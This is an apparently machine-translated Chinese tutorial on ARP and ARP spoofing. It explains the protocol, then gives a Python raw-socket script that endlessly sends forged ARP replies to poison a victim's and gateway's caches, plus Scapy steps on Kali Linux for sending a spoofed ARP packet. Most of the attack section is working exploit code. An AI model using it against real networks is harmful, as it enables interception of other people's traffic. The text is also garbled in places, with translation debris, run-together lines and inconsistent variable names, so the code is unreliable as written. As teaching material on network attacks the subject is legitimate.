ARP可以定义为无状态协议,用于将Internet协议(IP)地址映射到物理机器地址.
ARP的工作
在本节中,我们将了解ARP的工作原理.请考虑以下步骤来了解ARP如何工作 :
步骤1 : 首先,当一台机器想要与另一台机器通信时,它必须在其ARP表中查找物理地址.
第2步 : ;如果找到机器的物理地址,转换到正确长度后的数据包将被发送到所需的机器
步骤3 : 但如果没有找到表中IP地址的条目,则ARP_request将通过网络广播.
步骤4 : 去;现在,网络上的所有计算机都会将广播的IP地址与MAC地址进行比较,如果网络中的任何一台机器识别出该地址,它将响应ARP_request及其IP和MAC地址.这种ARP消息称为ARP_reply.
步骤5 : 最后,发送请求的机器会将地址对存储在其ARP表中,整个通信将会发生.
什么ARP欺骗?
它可能被定义为恶意行为者通过局域网发送伪造ARP请求的一种攻击. ARP中毒也称为ARP欺骗.可以通过以下几点和减号来理解它;
首先,ARP欺骗,用于重载交换机,将构造大量伪造的ARP请求和回复数据包.
然后交换机将设置为转发模式.
现在,ARP表会充斥着欺骗性的ARP响应,以便攻击者可以嗅探所有网络数据包.
使用Python实现
在本节中,我们将了解ARP欺骗的Python实现.为此,我们需要三个MAC地址 - 第一个是受害者,第二个是攻击者,第三个是网关.除此之外,我们还需要使用ARP协议的代码.
让我们导入所需的模块,如下所示;
导入套接字导入struct 导入binascii
现在,我们将创建一个套接字,它将具有三个参数.第一个参数告诉我们有关数据包接口(特定于Linux的PF_PACKET和用于Windows的AF_INET),第二个参数告诉我们它是否是一个原始套接字,第三个参数告诉我们我们感兴趣的协议(这里是用于IP的0x0800)协议).
s = socket.socket(socket.AF_INET,socket.SOCK_RAW,socket .htons(0x0800)) s. bind(("eth0",socket.htons(0x0800)))
我们现在将提供攻击者,受害者和网关机器的mac地址 :
attckrmac = '\x00\x0c\x29\x4f\x8e\x76'victimmac ='\x00\x0C\x29\x2E\x84\x5A'gatewaymac = '\x00\x50\x56\xC0\x00\x28'
我们需要给出ARP协议的代码如下所示 : 去;
code ='\x08\x06'
两个以太网数据包,一个用于受害机器,另一个用于网关机器,按如下方式制作:
ethernet1 = victimmac + attckmac + code ethernet2 = gatewaymac + attckmac + code
以下代码行按照ARP标头和减号顺序排列;
htype = '\x00\x01'protype = '\x08\x00'hsize = '\x06'psize = '\x04'opcode = '\x00\x02'
现在我们需要提供IP地址网关机器和受害者机器(我们假设我们有以下网关和受害者机器的IP地址) :
gateway_ip ='192.168. 43.85' victim_ip ='192.168.43.131'
借助 socket.inet_aton将上述IP地址转换为十六进制格式()的方法.
gatewayip = socket.inet_aton(gateway_ip) victimip = socket.inet_aton(victim_ip)
执行以下代码行来更改网关机器的IP地址.
victim_ARP = ethernet1 + htype + protype + hsize + psize + opcode + attckmac + gatewayip + victimmac + victimipgateway_ARP = ethernet2 + htype + protype + hsize + psize +opcode + attckmac + victimip + gatewaymac + gatewayipwhile 1: s.send(victim_ARP) s.send(gateway_ARP)
在Kali Linux上使用Scapy实现
可以使用Kali Linux上的Scapy实现ARP欺骗.按照以下步骤执行相同和减号;
步骤1:攻击者计算机地址
在此步骤中,我们将找到该IP地址通过在Kali Linux的命令提示符下运行命令 ifconfig 来攻击机器.
步骤2:目标计算机的地址
在此步骤中,我们将通过在Kali Linux的命令提示符上运行命令 ifconfig 来找到目标计算机的IP地址,我们需要在另一个虚拟机上打开它.
步骤3:Ping目标计算机
在此步骤中,我们需要在以下命令 :
Ping –c 192.168.43.85(say IP address of target machine)
步骤4:目标机器上的ARP缓存
我们已经知道两台机器使用ARP数据包交换MAC地址,因此在第3步之后,我们可以在目标机器上运行以下命令看到ARP缓存 : 去;
arp -n
步骤5:使用Scapy创建ARP数据包
我们可以在Scapy的帮助下创建ARP数据包,如下所示;
scapy arp_packt = ARP() arp_packt.display()
步骤6:发送恶意ARP数据包使用Scapy
我们可以在Scapy的帮助下发送恶意ARP数据包,如下所示;
arp_packt.pdst = "192.168.43.85"(say IP address of target machine)arp_packt.hwsrc = "11:11:11:11:11:11"arp_packt.psrc = "1.1.1.1"arp_packt.hwdst = "ff:ff:ff:ff:ff:ff"send(arp_packt)
步骤7:再次检查目标计算机上的ARP缓存
现在,如果我们再次检查目标计算机上的ARP缓存,那么我们将看到虚假地址"1.1.1.1".